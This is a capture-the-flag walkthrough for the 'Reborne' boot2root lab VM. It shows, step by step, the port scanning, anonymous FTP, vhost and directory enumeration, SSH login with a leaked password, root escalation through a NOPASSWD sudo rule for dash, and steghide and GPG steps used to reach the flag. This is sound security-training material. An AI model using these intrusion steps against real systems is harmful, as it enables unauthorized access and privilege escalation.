Reborne

Challenge Information

Field	Value
Challenge	Reborne
Category	Boot2Root
Points	968
Flag Format	OWASPKL{xxx}
Target IP	[REDACTED_LOCAL_IP]
Attacker Machine	Kali Linux
Final Flag	OWASPKL{N1c3_t0_m33t_y0u}

Objective

The objective was to compromise the provided OVA virtual machine through the intended network-accessible attack surface, obtain a user foothold, escalate privileges to root, and retrieve the final flag.

No VM disk mounting, file tampering, or out-of-band backend access was used.

---

1. Host Discovery and Port Scanning

After importing and booting the OVA, the target was identified as:

export IP=[REDACTED_LOCAL_IP]

A full TCP scan was performed:

sudo nmap -Pn -n -sV -sC -p- --min-rate 3000 $IP

Relevant results:

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 Ubuntu

Nmap also showed that anonymous FTP login was allowed and exposed two files:

Mainframe.pdf
hint.txt

---

2. FTP Enumeration

Anonymous FTP was accessible:

ftp $IP

Login:

anonymous
anonymous

Files were downloaded:

binary
ls
get hint.txt
get Mainframe.pdf
bye

The hint.txt file was Base64 encoded:

base64 -d hint.txt

The decoded content was a rickroll-style rabbit hole. Mainframe.pdf also did not contain useful credentials or the final flag. These files were treated as decoys.

---

3. Web Enumeration

The web server initially showed the Apache default page. A hidden page was discovered at:

curl -i http://$IP/home.html

The page contained:

<a href="http://mainframe.local">mainframe.local</a>

This indicated name-based virtual hosting. The hostname was added locally:

echo "[REDACTED_LOCAL_IP] mainframe.local" | sudo tee -a /etc/hosts

The vhost was then accessible:

curl -i http://mainframe.local/

The page showed a site titled:

Welcome to The Mainframe

It also disclosed an email address:

apokalips@mainframe.local

This provided a likely username:

apokalips

---

4. robots.txt Enumeration

The vhost exposed a useful robots.txt file:

curl -s http://mainframe.local/robots.txt

Interesting paths included:

/lfg/
/logs/
/secret/
/password.php?id=2
/login.php
/search.php

The /password.php?id=2 endpoint returned a MySQL warning:

curl -i "http://mainframe.local/password.php?id=2"

Output:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in password.php on line 47

However, this was not needed for exploitation.

---

5. Directory Chain Discovery

The /lfg/ directory had directory listing enabled:

curl -iL http://mainframe.local/lfg/

It revealed:

gohere/

Following the chain:

curl -iL http://mainframe.local/lfg/gohere/
curl -iL http://mainframe.local/lfg/gohere/alittlebitmore/
curl -iL http://mainframe.local/lfg/gohere/alittlebitmore/almostthere/

The final page contained:

<title>Maintained by Ap0k4L1p5</title>
<img src="img/Ap0k4L1p5.jpg">
<p>Made by Prof. Apokalips</br>ap0k4l1p5.github.io/talesofcred.html</p>

This gave two important clues:

Username clue: apokalips
External tale clue: ap0k4l1p5.github.io/talesofcred.html

---

6. Credential Discovery

The referenced tale page contained multiple suspicious leetspeak words. One of them was used as the SSH password:

Un17yW34v3r5

SSH login was successful:

ssh apokalips@[REDACTED_LOCAL_IP]

Credentials:

Username: apokalips
Password: [REDACTED_PASSWORD]

After login:

whoami
id
ls -la
cat [REDACTED_USER_FILE]

The [REDACTED_USER_FILE] file was not a flag:

This is [REDACTED_USER_FILE] file. FYI :)

---

7. Privilege Escalation

The sudo permissions were checked:

sudo -l

Output:

User apokalips may run the following commands on etherborne:
    (ALL) NOPASSWD: /usr/bin/dash

This allowed direct root shell access:

sudo /usr/bin/dash

Root was confirmed:

whoami
id

Output:

root
uid=0(root) gid=0(root) groups=0(root)

---

8. Root Directory Enumeration

Inside /root, the visible file was:

cd /root
ls

Output:

The GPG file was encrypted:

file [REDACTED_ROOT_FILE].gpg

Output:

[REDACTED_ROOT_FILE].gpg: GPG symmetrically encrypted data (AES256 cipher)

At this point, the image from the web directory was inspected.

---

9. Steganography Clue

The image was downloaded:

wget http://mainframe.local/lfg/gohere/alittlebitmore/almostthere/img/Ap0k4L1p5.jpg

steghide showed an embedded file:

steghide info Ap0k4L1p5.jpg

Output:

embedded file "passphrase.txt"

The embedded file was extracted with a blank passphrase:

steghide extract -sf Ap0k4L1p5.jpg -p "" -xf passphrase.txt
cat passphrase.txt

Extracted passphrase:

H3J35'S_F0R3S4W_T4LES

The passphrase was used to decrypt [REDACTED_ROOT_FILE].gpg:

printf '%s\n' "H3J35'S_F0R3S4W_T4LES" | gpg --batch --yes --pinentry-mode loopback --passphrase-fd 0 -d /root/[REDACTED_ROOT_FILE].gpg

Output:

You think you made it, dont you? :D

This confirmed that [REDACTED_ROOT_FILE].gpg was a decoy.

---

10. Final Flag Discovery

A recursive search for the flag format was performed:

grep -Rni "OWASPKL{" /root /home /var/www 2>/dev/null

Output:

/root/.flag.txt:4:OWASPKL{N1c3_t0_m33t_y0u}

The hidden flag file was read:

cat /root/.flag.txt

Final flag:

OWASPKL{N1c3_t0_m33t_y0u}

---

Vulnerability Summary

Stage	Issue	Impact
FTP	Anonymous FTP enabled	Exposed decoy files and rabbit-hole material
HTTP	Hidden home.html disclosed vhost	Revealed mainframe.local
HTTP	robots.txt exposed sensitive paths	Guided enumeration to /lfg/
HTTP	Directory listing enabled	Allowed traversal of the intended clue chain
Web Content	Public image contained hidden stego file	Revealed GPG passphrase clue
Credentials	Tale page leaked usable SSH password	Enabled SSH foothold as apokalips
Privilege Escalation	NOPASSWD sudo rule for /usr/bin/dash	Allowed immediate root shell

---